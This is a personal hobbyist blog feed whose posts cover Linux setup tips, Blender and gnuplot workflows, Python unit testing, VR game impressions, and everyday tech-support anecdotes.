<pubDate>Sun, 17 Jan 2021 17:29:32 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2021.html#p170120211729</link>
<description>
I was helping out a Windows 10 user who's machine was becoming unusably slow. First step was obvious, replace spinning rust hard drive with an SSD. 

Unfortunately the machine is a HP All-in-One and the upgrade process was extremely convoluted and the risk of damage high. Did watch a long and painful YouTube video describing the process.

In the end I helped them buy a new better spec'd machine with an SSD. But the story does not end there.

They considered the unit e-waste, even though it had a nice big 23" screen. I had seen some YouTubers talking about cheap HDMI - USB devices and I wondered if I could use one to convert this PC in to a monitor.

Long story short, I can!

I installed OBS Studio in Windows 10, plugged in the USB device and connected a Raspberry Pi to the HDMI. Selecting the correct source meant that OBS displayed the Pi screen as if it was a webcam. FYI: right click the grey area around the image in OBS to select true, border-less, full-screen.

Now the long story. I did not want to run Windows just to get this setup to work as a monitor, so I looked around for a well respected Linux distro that was lightweight and up to the job.

Linux Mint XFCE edition seemed to fit the bill, so I

wrote the Linux Mint ISO to a USB stick
[code]dd if=linuxmint-20.1-xfce-64bit.iso of=/dev/sdd oflag=direct bs=1048576[/code]
(where [em]/dev/sdd[/em] is the location of MY usb stick, double check yours or risk overwriting import stuff with [em]no way of recovering it![/em])

Went into the partition manager in Windows 10 and right clicked the main drive (1TB) and choose [em]shrink[/em]. This took a couple hours to complete because the previous owner had a lot of files. I had already backed them up, but there was no need to wipe them out.

Then booted from the Mint USB stick(*) and ran the install process, selecting dual boot with Windows.
(*) Not easy to get into the HP BIOS and change the boot order. Had to press ESC repeatedly to get the "BIOS Information" then press F10 to get into the actual BIOS settings. At no point was there any kind of prompt for either action. You had to already know the secrets.

Once Mint was installed and the machine rebooted I could install OBS Studio and re connect the Raspberry Pi. OBS worked in exactly the same way as in Windows and it worked perfectly.

Now, I wanted the machine to boot to Mint, run OBS and switch to the correct source and display full screen all unattended. But OBS does not really support anything useful command line-wise.

Was there another way?

Yes! It's Linux, there is always another way.

mplayer works just fine
[code]mplayer -fs tv:// -tv driver=v4l2:device=/dev/video2:width=1920:height=1080[/code]

I got the video number from
[code]v4l2-ctl --list-devices[/code]
[output]HP High Definition 1MP Webcam:  (usb-0000:00:10.0-2):
	/dev/video0
	/dev/video1

USB Video: USB Video (usb-0000:00:12.0-1.1):
	/dev/video2
	/dev/video3
[/output]

video0 and video1 are the single built in webcam. No idea what video3 is, it didn't work.

Not specifying the width and height resulted in a full-screen image that appears to be up-scaled 640x480, Ouch!

This is going on a bit, but the base stuff all worked!

</description>
</item>
<item>
<title>super hot vr workout</title>
<pubDate>Sun, 17 Jan 2021 16:28:43 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2021.html#p170120211628</link>
<description>
One of the on sale VR games we got was Super Hot VR. You may remember that name from [url title="super hot x3 ++"]Aug2019.html#p280820191541[/url].

First thing to say about Super Hot VR is "What a work out!". You really have to twist around in 3D space to dodge bullets and all manner of objects. I really need a cold drink after just 30mins of that game.

You are represented in the game by your VR hands and an invisible body that is very vulnerable. The enemies are all stylised red polygon people, who are equally breakable. Various situations play out and in each time flows very slowly, unless you move. Moving your head/ VR headset increase the time slightly but moving your hands can get it up to real time. And you really do not want time to flow at full speed because there are usually multiple adversaries shooting at you!

Dodging and timing your attacks are the name of the game with the red people have an annoying habit of doing something slightly different from the last time. Like going left instead of right or shooting up instead of down.

A great experience to describe doesn't even involve guns. You are standing in the middle or small bridge. To your left is a polygon person wielding a knife with an unarmed person behind him. To your right is the same two people and as you start the level to large ninja throwing stars are falling in-front of you.

Ideally you grab a star in each hand, throw in both directions, kill both knife enemies, grab said knifes and stab the unarmed(but punchy) people behind them. Unfortunately more often than not, your throws will miss, because you are doing it blind, but that one time where it goes perfectly is sooooo satisfying. 
</description>
</item>
<item>
<title>more than half of halflife alyx</title>
<pubDate>Sun, 17 Jan 2021 16:01:26 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2021.html#p170120211601</link>
<description>
More Halflife:Alyx and I am afraid I am going to continue to go on about it at least until I complete it :D

More thrills and spills, more gun fights, exploration and puzzle solving. I say all that with the point that the gun fights are different, the exploring is different and the puzzles are different. This is why this game is so so good. It does not get old, does not repeat itself and always has something new and interesting around the corner.

Although ... it is not perfect. Sometimes you come to a new area and see things that were the same height as items you had previously climbed upon and ... you cannot get on top of them. Or there are just random invisible barriers blocking your way because you wondered off course. These certainly are the exception and not the rule, but it can be very disconcerting.

I cannot talk about the story, but it is very well weaved into the experience and seems to clearly exist in the world without you, even though you are progressing and directly affecting it.

I do find a session in Alyx draining, both physically and mentally, which is why I have not completed it yet. Wanting to complete Alyx has also stopped me trying out a number of new games/experiences we bought on sale...  
</description>
</item>
<item>
<title>flog off 2020 it review time</title>
<pubDate>Tue, 05 Jan 2021 00:07:20 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2021.html#p050120210007</link>
<description>
Yearly update time.

[url title="Flog the year of 2020"]year2020.html[/url]

[url title="Updated Archive"]archive.html[/url]

Total number of posts 73(down on 2019 by 33)

total tags in the system: 1772
of which 553 were used in 2020

Top tags
     [url title="Raspberry Pi"]tags.html?tag=raspberrypi.xml[/url] with 14 posts.
     11 [url title="VR"]tags.html?tag=vr.xml[/url] with 11 posts.
     11 [url title="Blender"]tags.html?tag=blender.xml[/url] with 11 posts.
     10 [url title="Game"]tags.html?tag=game.xml[/url] with 10 posts.
      8 [url title="Flog"]tags.html?tag=flog.xml[/url] with 8 posts.

</description>
</item>
<item>
<title>skull a2 takes the biscuit</title>
<pubDate>Mon, 04 Jan 2021 00:04:11 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2021.html#p040120210004</link>
<description>
I tried again with the modelling a Skull in Blender and if I keep it up one day I will create a good one ;)

Looking at last months attempt, that at the time I thought was not bad for a first go, it was not good! But it was all experience.

Sculpting in Blender is all about playing with the brushes and tools. I even got quite good at masking areas so only parts were affected.

The result is not bad, it is recognisable as a skull

[img alt="Skull sculpted in blender A2"]images/skull_A2_collection.png[/img]

and anything is better than last time :)

[img alt="Skull sculpted in blender A1"]images/skull_base_0022_3x2_460x290.png[/img]
</description>
</item>
<item>
<title>half at it with alyx again</title>
<pubDate>Sun, 03 Jan 2021 23:54:33 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2021.html#p030120212354</link>
<description>
I have been playing [url title="Halflife:Alyx again"]/flog/tags.html?tag=halflife[/url] and oh my God! this is such and amazing game.

One moment I am exploring, looking for hidden treasures that will allow me to upgrade my gun and the next I am throwing vodka bottles to lead "Jeff" away from my avatar, who has their hand over their mouth to stop coughing. Then, after navigating dark tunnels I am in a zoo and giant ant-lions are running me down, then I am completing a taxing wire puzzle...

but there is so much more and the attention to detail is insane! From tiny plastic tigers and t-shirt sporting mannequins in the gift shop store room to fully fitted kitchens and surgical theatres. You never get bored, but I can say it does get overwhelming and I was happy to stop, but will be equally happy to pick it up again next time I can set up the Vive.

Not to mention the combat. The VR experience against the humanoid combatants is something else. These soldiers use the cover and the their companions to flush you out of differing landscapes and areas. From dark corridors to large outside construction sites and many more. You have limited ammo, range and accuracy, but can duck quickly in and out of cover. With my physical size I can sometimes shoot over the top of obstacles and sit on the floor to make the most of what cover there is.

I am only 2/3rds of the way through the game and I feel I have seen and experienced so much. I look forward to finally completing this masterpiece.
</description>
</item>
<item>
<title>hair ball primed and ready for tube launch</title>
<pubDate>Mon, 28 Dec 2020 15:46:47 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2020.html#p281220201546</link>
<description>
And this is the resulting animation

<iframe width="560" height="315" src="https://www.youtube-nocookie.com/embed/ipArR-oOlkg" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> 

what a waste of resources!
</description>
</item>
<item>
<title>plotting a blender render graph single columned for the win</title>
<pubDate>Sun, 20 Dec 2020 21:00:55 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2020.html#p201220202100</link>
<description>
So Blender outputs the frame render times into the console (when you run from console), like so
[output]Append frame 1
 Time: 00:56.94 (Saving: 00:01.60)

Append frame 2
 Time: 00:57.54 (Saving: 00:00.10)

Append frame 3
 Time: 00:59.59 (Saving: 00:00.11)

...

Append frame 248
 Time: 04:05:54.73 (Saving: 00:00.08)

Append frame 249
 Time: 04:22:13.75 (Saving: 00:00.09)

Append frame 250
 Time: 04:02:46.96 (Saving: 00:00.08)

Executing command:
  /usr/bin/blender -a -f 24 1.0 -s 1 -e 250 -j 1 /tmp/e_4fullc_0001-0250.mkv[/output]

or something similar and with all the frames listed.

I copied all the [em]Append[/em] and [em]Time[/em] lines into a separate file and ran
[code]egrep -o "Time: ([0-9]{2}[.: ])+" rendertimes.txt | cut -d ' ' -f 2 | cut -d '.' -f 1 > rendertime.dat[/code]

That collected all the Time values, stripped out the [em]Time[/em] text and any decimal values on the end of the time values.

There was an odd problem with the resulting file that GNUPlot really didn't like. Any time value that had a value less than 1 hour was missing an hour part. Which meant I had to pad it with 00 via
[code]sed -E 's/(^[0-9]{2}:[0-9]{2}$)/00:\1/gi' rendertime.dat > rendertimepad.dat[/code]

which made the file go from
[output]00:59
01:00
01:03
...
04:05:54
04:22:13
04:02:46[/output]
to
[output]00:00:59
00:01:00
00:01:03
...
04:05:54
04:22:13
04:02:46
[/output]

by looking for a pattern of 
[em]^[/em] = line start
[em][0-9]{2}[/em] = two digits
[em]:[0-9]{2}[/em] = colon and two digits
[em]$[/em] = line end
wrapped in a group with brackets. Then when a match is found the [em]00:[/em] is prepended. Sed naturally outputs unmatching lines unaltered.

Now I spent hours trying to get GNUPlot to plot this as a graph and I even tried adding line number with [em]nl[/em] to act as an extra defined axis with
[code]nl -n 'ln' -s ' ' rendertimepad.dat > rendertimeln.dat[/code]

But in the end the magic incantation was
[code]set timefmt "%H:%M:%S"
set ydata time
set ytics format "%H:%M:%S"
set grid ytics lc rgb "#bbbbbb" lw 1 lt 0
set xlabel 'Frame No.'
plot "rendertimepad.dat" using ($0+1):1 title 'Render Times' with lines[/code]

which breaks down as 
[em]set timefmt "%H:%M:%S"[/em] = define the format of the time data in our file
[em]set ydata time[/em] = tell GNUPlot we are using time data for the Y axis
[em]set ytics format "%H:%M:%S"[/em] = set out how the Y axis should be formatted (it wants to add the date normally)
[em]set grid ytics lc rgb "#bbbbbb" lw 1 lt 0[/em] = only set a horizontal grid line
[em]set xlabel 'Frame No.'[/em] = set the X axis label
[em]... using ($0+1):1 ...[/em] = and this is the magic that allows GNUPlot to use a single data column as input

to result in 

[img alt="render times graph"]images/render_times_graph.png[/img]

now I have to finish compositing the video and upload it. It was only supposed to be a 1/2hr side project, he says a week later.
</description>
</item>
<item>
<title>blender render hair time madness messes with my vibes</title>
<pubDate>Sun, 20 Dec 2020 20:25:06 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2020.html#p201220202025</link>
<description>
I have been waiting for a Blender animation to complete rendering and in the end it took over four days. Now I know that the best way to render animations with Blender is to output an image sequence and then combine it as a video file. This allows you to cancel and resume at any point.

But this time I had been rendering lots of 25% animations and they were taking less than 10mins each in total. This was simply setting the render size to 100% and it started off fine at 1min per frame on average.

Check out this graph

[img alt="render times graph"]images/render_times_graph.png[/img]

as you can see, when we get to frame 228 (out of 250) it shoots up to 1hr+ and then averages 4hr per frame. Maxing out at 05:54:05 on frame 230.

No idea why this has happened. As I am using a Hair particle system, I wonder if the resolution allowed a complex interaction of hair strands. I did bake the simulation before rendering to avoid that sort of thing. It also could have been the NVIDIA driver updating, but Linux usually allows files to be updated without effecting anything running!

Bored with that now and before I post the final video to YouTube I will enlighten you about the GNUPlot code to create that graph, because you deserve it :D
</description>
</item>
<item>
<title>systemd piper problems pulsed my mouse hero hyperspeed</title>
<pubDate>Sun, 20 Dec 2020 17:34:25 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2020.html#p201220201734</link>
<description>
I love my new cord cabled Logitech G502SE Hero mouse, fits in the hand nicely and just works...

Until it went into hyper speed mode. I could not even click menu items the mouse was so fast. This is a many buttoned mouse and I remembered that some of the buttons should be for A:switching profiles and B:changing the DPI. But try as I might, no amount of button pressing affected any function of the mouse and it kept whizzing around the screen.

There were a number of people affected by this issue on internet and the #1 solution was to use Windows or install Windows in a VM and just use the Logitech software. The settings are then saved on the mouse.

Was I going to install Windows, even on a virtual machine? Not on your life!

Luckily there is an open source solution [url title="Piper"]https://github.com/libratbag/piper[/url] but ... it's not unmasked on Gentoo and requires SystemD for full functionality.

a bit of unmasking as root in [em]/etc/portage/package.accept_keywords[/em]
[code]app-misc/piper ~amd64
dev-libs/libratbag ~amd64[/code]

[code]emerge -av app-misc/piper[/code]

and 

[code]ratbagctl -vvv list[/code]

showed

[output]hollering-marmot:    Logitech G502 HERO SE[/output]

so we are all good ?

NO!

Root cannot run the [em]piper[/em] GUI app and my standard user can run [em]piper[/em] but reports no devices.

After a lot of to-ing and fro-ing adding the user to the [em]plugdev,input & games[/em] groups, I found a way of cheating and getting root to run GUI apps.

After running

[code]xhost +local[/code]
(as the standard user)

and then creating a new shell for root I can finally run [em]piper[/em] as root and change the DPI!

I then spent ages trying to configure the buttons to switch profiles and change DPI up and down. Then after that failed, I tried 101 ways to get the command line [em]ratbagctl[/em] programme to change various settings to no avail.

The conclusion was; I [em]can[/em] set the DPI as root in [em]piper[/em] and that [em]does[/em] get saved in the mouse and I [em]can[/em] finally use the damn thing at a reasonable speed!

But, without SystemD integration none of the buttons worked to dynamically control the Profiles or DPI and for some reason the LED had switched from solid colour to rainbow.

So.... a win?
</description>
</item>
<item>
<title>you are no skull of mine</title>
<pubDate>Sun, 13 Dec 2020 17:29:38 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2020.html#p131220201729</link>
<description>
I had a plan back before Halloween to sculpt a Skull in Blender. Originally this was going to be one attempt per day. This was then changed to 2-3 skulls a week and then ... I spent about 4-5 hours over a number of sessions to create this.

[img alt="skull renders from different angles and lighting"]images/skull_base_0022_3x2_460x290.png[/img]

Not bad a my first real attempt at sculpting.

The idea was never to all this *done*, but instead to start from scratch regularly and learning from each attempt.

I have already gathered a number of reference images and want to start attempt 2# soon.

See the next post as to what has been distracting me in the meantime.
</description>
</item>
<item>
<title>amazon vs currys fight</title>
<pubDate>Sun, 13 Dec 2020 17:15:47 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2020.html#p131220201715</link>
<description>
After having such a unexpected and bad experience [url title="last time"]/flog/Dec2020.html#p091220202317[/url], I was not happy to find my family fighting Amazon again!

My son's Xbox One controller had broken and after a number of attempts to fix it we had determined it was *dead*. It had had various issues that had got steadily worse and we had disassembled and cleaned it repeatedly.

Went on Amazon and searched for "Xbox One controllers" ...

1st problem: Results either had no price or were twice as much as we wanted to pay or ...
2nd problem: Unbranded knock-offs. We wanted something we knew would work for a reasonable amount of time.
3rd problem: Things that were not "Xbox One controllers", like buttons covers or skins dominating the results.
4th problem: Filtering the search produced very strange results, making things progressively worse.

Going back to problem 1#. Clicking on the Microsoft branded controllers showed the details with no price. You had to choose "Buying options" and in there the prices were x2 the RRP AND they were not *new*, but second-hand.

Something screwy is going on. I cannot believe that no Amazon seller had stock at the RRP or close to.

So forget Amazon, lets try the local Currys PC World. Get to the parking lot, which is full and spy the 30 person queue outside the store *slaps head*. Put on a mask and queue up ... then realise I am missing my wallet *slaps head*. Back home, grab wallet, drive back, park. The queue is now down to 7 and we queue up again in the freezing cold.

Eventually get in and head for the gaming area ... No sign of any controllers, but also not much sign of anything other than Xbox Live cards. Find someone to ask, but they only work in the Phone section and can only try and check stock on a Chromebook, which does not seem to work the way they are expecting. So we shadow someone else until they become free and ask again. They ask someone on the desk who reports "They haven't got any stock, haven't had any stock and do not expect any stock for at least a couple of weeks". We thank them and leave.

We got half way across the car park before we hear the Phone guy calling us. He has talked to his friend in the stock department and thinks he has found one! We head in and sure enough there is a brand new Xbox One controller and they want RRP for it!

Son really happy, thanks Currys!

I think my new years resolution needs to be to disconnect from Amazon. But it is so damn convenient! *sobs*
</description>
</item>
<item>
<title>amzon prime small print rents me out</title>
<pubDate>Wed, 09 Dec 2020 23:17:15 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2020.html#p091220202317</link>
<description>
READ THE SMALL PRINT

We have all been told that before, but somehow I missed the details of renting a film from Amazon Prime.

First of all I have rented from Amazon Prime before, but always watched the film then and there, in it's entirety. Not a problem.

This time I glanced across the usual text "30 days ... blah blah", rented the film and started watching. Got half way through and had to stop. A few days later I went to continue watching to find it was not there. No reference to me having hired it or being part way through. It was only when I opened the Prime app on my phone it showed the movie as half watched, but no "continue watching" option.

I was ready to contact customer service to find out what had gone wrong when I re-read the terms of the rental...

"30 days ... to START watching ... 2 days to FINISH watching"

wait, what?

Why?

In the end it was cheaper to order a brand new Blu-ray of the 2010 film than hire it again just watch the end.

I cannot fathom what benefit this gives Amazon. I will certainly double think renting from them again.

Bottom line, I feel stupid and will "READ THE SMALL PRINT" next time.
</description>
</item>
<item>
<title>ori one defeated by ori two</title>
<pubDate>Wed, 09 Dec 2020 23:04:34 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2020.html#p091220202304</link>
<description>
Back around Xmas 2015 we got a Xbox one with the Rare Replay bundle and Ori and the blind forest. Ori is a platformer for hardcore gamers. Lots to learn and perfect.

I played it quite intensely and enjoyed it's story and Metroid style dungeons. But I stuck, really stuck, on an "escape" sequence. This was an pressured section where tricky jumps were required to escape rising water. I played in many times but never made it to the top.

So ... I was sceptical when Ori 2 (Will of the wisps) was available on Game pass. I gave it ago and immediately fell in love, playing many hours that I did not have spare to obtain 100% completion. Which I did and was very proud. Could I now revisit the original Ori?

Yes! and although that escape sequence was hard, I managed to beat it in a few goes and again got 100%

Each game was around 15 hours, but I was aiming for 100%. There are speed run bonus achievements for both if you can complete the game in under 4 hours. Personally I enjoy taking my time and as for the no deaths achievement there is no chance!

Both games have their strengths and weaknesses, but each has a solid story and characters. Some of the controls, abilities and features are different, with a joint universe that feels complete. Ori 2 is a lot harder than 1 and contains a lot more "escape" sequences and boss battles.

Heartily recommended if you like solving puzzles in a Metroid styled platformer.
</description>
</item>
<item>
<title>devastating devastator news</title>
<pubDate>Sun, 06 Dec 2020 12:58:35 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2020.html#p061220201258</link>
<description>
I love my Cooler Master Devastator keyboard and mouse pack. Had some slight issues in the past with [url title="melting grips"]http://local.jumpstation.co.uk:8040/flog/Aug2018.html#p090820182134[/url] and the keyboard really needs to be a bit brighter.

Recently the scroll wheel has been giving me grief. Sometimes scrolls are not registered and other times the screen/list scrolls but then scrolls back. Quick search online and this seems to be quite common.

Took apart the mouse cleaned the scroll wheel and ... Well, it's a bit better but ...I cannot get the rubber slide pads reattached to the bottom, so now it scraaaaaaps across my mouse mat :(

Amazon says my ordered replacement is on it's way, but there are no updates and no sign yet. *sigh*

Not sure how long I have had this mouse, but it must be at least 5 years, so not too shabby.
</description>
</item>
<item>
<title>RIP Minkey</title>
<pubDate>Sun, 06 Dec 2020 12:49:17 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2020.html#p061220201249</link>
<description>
It is the end of an era. We said goodbye last month to Minkey.

Yet to scatter his ashes, I have so many great photos on my phone, he will be missed.
</description>
</item>
<item>
<title>security so good no one can get in ever</title>
<pubDate>Sat, 14 Nov 2020 17:49:55 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2020.html#p141120201749</link>
<description>
When is a username and password not good enough?

The obvious answer is 2FA, but my really old Netgear spare-ish Wifi router seems to have lost the plot.

I know its IP address, I know the username and password, but it will not let me in. Apparently I enabled some kind of only connections from "this IP address" are allowed to login. So I found what IP address I had before this new machine and matched it, same error.

It appears it wants the original MAC address LAN card in my old *dead* linux machine...

Security so good, even the owner with the correct username, password and IP address cannot get in.

OK, time to reset the sucker and start from scratch. All this to get a couple of streaming devices to work in a separate VLAN.
</description>
</item>
<item>
<title>totally legit antivirus messages in windows but from the browser</title>
<pubDate>Sat, 07 Nov 2020 23:29:06 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2020.html#p071120202329</link>
<description>
Another tale of tech support;

User contacts me. They are getting repeated notices that they have a virus, but the virus scanner is out of date and needs a new subscription. What spooked them was both McAfee AND Norton messages were appearing.

It was Windows 10 and the messages were in the Windows Action Center. Very clear Norton logo, looks legit. But underneath was another alert and this one had a perfect McAfee logo ... legit?

In dark text on the black background under each logo and message is a URL for Bestdealfor32.life Definitely NOT LEGIT!

A quick Google around for this and hit a YouTube video from just a few days earlier on how to specifically remove Bestdealfor32.life Popups.

The short video simply showed how to remove the Google Chrome notification authorisations in the browser... Dum Dum DUM!

So all this was was the user hitting a random site (which they said was legit) and when prompted, allowing notifications. I never knew they showed up IN WINDOWS! and could have any logo!

It appears that "legit" is the word of the day!

Oh and the same scam was setup on a load of other URLs with similar names.
</description>
</item>
<item>
<title>functional skills are cracked</title>
<pubDate>Sat, 07 Nov 2020 23:12:48 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2020.html#p071120202312</link>
<description>
Yeah! Passed my Functional Skills Level 2 - English crushed it, but Maths just scraped a pass. Which I not very happy with, as I revised my arse off :(

In other news: found this in a scammers fake page

[output]<!--TLTODPLVL2BEG-->
Mr P. Ogunwusi
<!--TLTODPLVL2END-->[/output]

no idea what it is .... but .... possibly the scammer was working on a copy of their own banking page and that is their name ...
</description>
</item>
<item>
<title>flog life kitchen and functional skills</title>
<pubDate>Sat, 03 Oct 2020 22:53:27 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2020.html#p031020202253</link>
<description>
There is a lot going on at the moment. Kitchen is being re-done and we have had no freezer for the last couple of weeks. Things are starting to get back together, but still surviving on mainly take-aways.

I am also awaiting the tests results of my functional skills. I did really badly at school and now I have to prove I can complete at a basic level.

Not to mention I messed up the img tag in the last post and the only way to fix it is with a another post to update it :)
</description>
</item>
<item>
<title>if you need a unittest output colorised you have to do it yourself</title>
<pubDate>Sat, 03 Oct 2020 22:44:14 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2020.html#p031020202244</link>
<description>
So I there I was running my Python3 unit tests and the the count got up to 200 tests across 7 modules. The unit tests executed quickly and I "could" interpret the output and track down issues when they occurred...

With that many tests and modules the output was not eye catchingly formatted and I found myself wishing I could colourise the output. Just a simple GREEN for passes and RED for failures...

It turns out this has bugged many a developer. Unfortunately there are 101 ways to to resolve the problem and all of them involve install extra software. In some cases you have to replace the unittest module completely and follow the new testing modules rules and requirements.

I did not find this a very satisfactory conclusion, so I wrote my own bash script to solve it.

[code]
#!/bin/bash
# Run all the test_*.py unit tests and colourise the output

clear=$(tput op)
green=$(tput setaf 10)
red=$(tput setaf 9)
find . -iname "test_*.py" -printf 'pushd "%h";python3 "%f" 2>&1| sed -re \
"s/FAILED/'$red'FAILED'$clear'/" -e \
"s/^(F+)[.]?$|[.](F+)|(F+)[.]/'$red'F'$clear'/g" -e \
"s/OK/'$green'OK'$clear'/";popd> /dev/null\n' | bash  
[/code]

and the output looks like this

[img alt="python3 unittest output colourised" src="images/bashpythonunittestcolour.png"]

very readable at a glance!

The [em]tput[/em] commands create the correct ANSI escape sequences. Manually inputting them did not go well.

The script then finds all the files starting with [em]test_[/em] and ending with [em].py[/em] and then constructs a command sequence as a string.

These are then piped in to a new bash shell.

Replacing the strings for FAILED and OK so that they are RED and GREEN respectively was easy. Tying to cover all cases where the F in the .... dots needed to be RED was a lot more difficult.
[url title="regex for the F characters explained"]https://regex101.com/r/rx3szf/1[/url]

FYI the [em]pushd popd[/em] commands handle tests in sub directories.
</description>
</item>
<item>
<title>unit test your unit tests with unittest</title>
<pubDate>Sat, 03 Oct 2020 22:10:54 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2020.html#p031020202210</link>
<description>
I have been doing a lot of Python at work the last few months and I feel the need to teach everyone about the power of unit tests.

Unit tests can confirm that a program will work correctly - logically. You just need to create at least one test for each possible path in the code. Then, when you refactor, running the tests will prove the logic still executes correctly.

[code]import unittest
import myproject

# test some things!
class test_things(unittest.TestCase):

    result = None
    real = None

    def setUp(self):
        self.real = myproject.check


    def tearDown(self):
        myproject.check = self.real


    def check_Mock(self, row):
        return self.result


    def test_check_positive(self):
        self.result = True
        myproject.check = self.check_Mock
        value = "Good value"
        result = myproject.check(value)
        self.assertTrue(result)

if __name__ == '__main__':
    unittest.main(buffer=True)
    unittest.main()
[/code]

In this example we are unit testing the [em]check[/em] method in the [em]myproject[/em] module. It is a bad example, but you do not want to see the boring real world stuff I was doing.

You need to include the Python builtin module [em]unittest[/em] and the code module you want to test with [em]import[/em] statements.

Create a new class and derive from [em]unittest.TestCase[/em], add a method prefixed with [em]test_[/em] that uses an [em]assert[/em] method.

To run the test/s you call [em]unittest.main()[/em]

and then execute the file as you would any other Python3 .py file.

[code]python3 test_myproject.py[/code]

or target a specific test

[code]python3 test_myproject.py test_things.test_check_positive[/code]

The result will detail where any [em]assert[/em]s failed and how many tests passed. More details on unittest output in the next post.

As you can see from the above code there is a lot of other bits and pieces you can do.

[code]if __name__ == '__main__':   [/code]

Makes sure this code is not run if it is imported as a module in another Python file. Good practice and if it is missing can cause unexpected mayhem. I.e when you import your module that is missing this line into the unittest, your code will execute before the test.

[code]unittest.main(buffer=True)[/code]

Stops your code under test output from messing up the test results output. Sometimes it makes sense to leave this out, but in my experience you really need it as the default. Especially when you have hundreds of tests.

Then we have the [em]setUp[/em] and [em]tearDown[/em] methods that are run at the start and end of every test respectively. It is essential that anything a test needs to run is undone before the next test, as tests are not guaranteed to be run in order.

My example makes a "backup" of the [em]check[/em] method before the test overwrites it with a "Mock" method. The example does not make a lot sense here, but imaging the "Mock" was a database class and contained mock methods for everything the program was going to do with the database. 

There are lots of [em]assert[/em] methods, but you will mostly use [em]assertTrue[/em] and [em]assertEquals[/em].

Tests should never take long to execute, so you can run the tests regularly with zero impact.

One key side affect of unit testing is finding yourself wanting to make methods simpler to make testing simpler. That is very good thing!

In my next post I will share a bash script that runs all the test files recursively and colourises the output.
</description>
</item>
<item>
<title>swapping blender for less of a crash</title>
<pubDate>Sat, 12 Sep 2020 17:55:30 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2020.html#p120920201755</link>
<description>
Quick note to self blog post.

Creating complex Blender scene with Arrays of Arrays. Trying to apply the modifier crashed Blender. I could see the memory shoot up, but no error message in console.

Did not want to create special Swap partition and remembered that Linux support Swap files...

Would it work with Blender?

(as root)
[code]fallocate -l 16G /mnt/16GB.swap
mkswap /mnt/16GB.swap
swapon /mnt/16GB.swap
swapon -s[/code]
[output]Filename				Type		Size	Used	Priority
/dev/sda3                              	partition	524284	456136	-2
/mnt/16GB.swap                         	file    	16777212	0	-3
[/output]

You can change the location and the size to your needs.

Now Blender does not crash. It does slow the whole machine down to almost a standstill.

Success!
</description>
</item>
<item>
<title>the toilet roll cam is dead long live the pi zero cam</title>
<pubDate>Mon, 31 Aug 2020 18:00:21 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2020.html#p310820201800</link>
<description>
So after [url title="setting up"]/flog/Jul2020.html#p290720202345[/url] the Raspberry Pi Zero(W) with all the toilet roll scripts and code, I started trying to re-mount it all.


It really did not fit in the toilet roll, so I tried various options with the official Pi Zero case. The orientation of the camera to the board made that impossible. I tried a few different options and eventually settled on a Haribo sweet box lid. This was a nice rigid plastic that did not crack easily and was sturdy enough to hold the weight.

This is where I can really see the value of a 3D printer. I cracked various other bits of plastic before carefully cutting the holes into the lid.

For the base I used something I had bought 15+ years ago, Polymorph. You heat the granules in hot water until they turn transparent then mold the resulting blob into the shape you require. It never goes quite to plan, but the result is a very hard and heavy base that stops the camera assembly toppling over.

[img alt="polymorph tub with duck eraser and scalpel"]images/polymorph_tub.jpg[/img]

Then using a scalper and pointy thing I carefully made a hole for the PIR and the camera lens. To hold the lens in place, the original wide lens spring clip works as-is. For the PIR I found a short nail and used the back-end of the yellow duck eraser as a cork.

[img alt="pi zero camera side showing use of eraser to cork nail"]images/newpizcam_side.jpg[/img]

Then I managed to pull the Pi camera lens out of its motherboard. Luckily this just snapped back into place. I also tried hanging the whole thing off the camera ribbon cable. It held ... for a short while.

[img alt="pi zero camera back"]images/newpizcam_back.jpg[/img]

Adding the power cable created even more weight. I did find some old stand-off nuts and bolts. These hold the top of the Pi Zero to the plastic. I tried trimming the Polymorph to better fit the bottom of the Pi but that was hard work that did not really work. I need a 3D printer :(

[img alt="pi zero camera top view"]images/newpizcam_top.jpg[/img]

When I did plug it all in and it lit up my [url title="undershelf"]/flog/tags.html?tag=undershelf[/url] lighting there was a huge sigh of relief. The [url title="undershelf"]/flog/tags.html?tag=undershelf[/url] lighting had been essential at night due to toilet problems(now resolved).

I cannot quite believe how much time and effort went into something that looks a bit crappy :)

[img alt="pi zero camera in situ"]images/newpizcam_situ.jpg[/img]
</description>
</item>
<item>
<title>pi powered toilet roll lights up the night</title>
<pubDate>Wed, 29 Jul 2020 23:45:59 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2020.html#p290720202345</link>
<description>
The [url title="Toilet-roll security camera"]/flog/tags.html?tag=toiletroll[/url] is in the process of being rebuilt with a Pi Zero.

Previously I got the SD card built, the Pi setup headless and tested the camera (and fixed the PINKing). Now it is time to get all my code working with the PIR.

Installed the prerequisites.
[code]sudo apt install python3-picamera
sudo apt install python3-pip
sudo pip3 install dropbox
sudo pip3 install RPi.GPIO[/code]

copied across the code and setup the root [em]crontab[/em] and ...

My [url title="Under-shelf lighting"]/flog/Apr2019.html#p210420191108[/url] came on :)

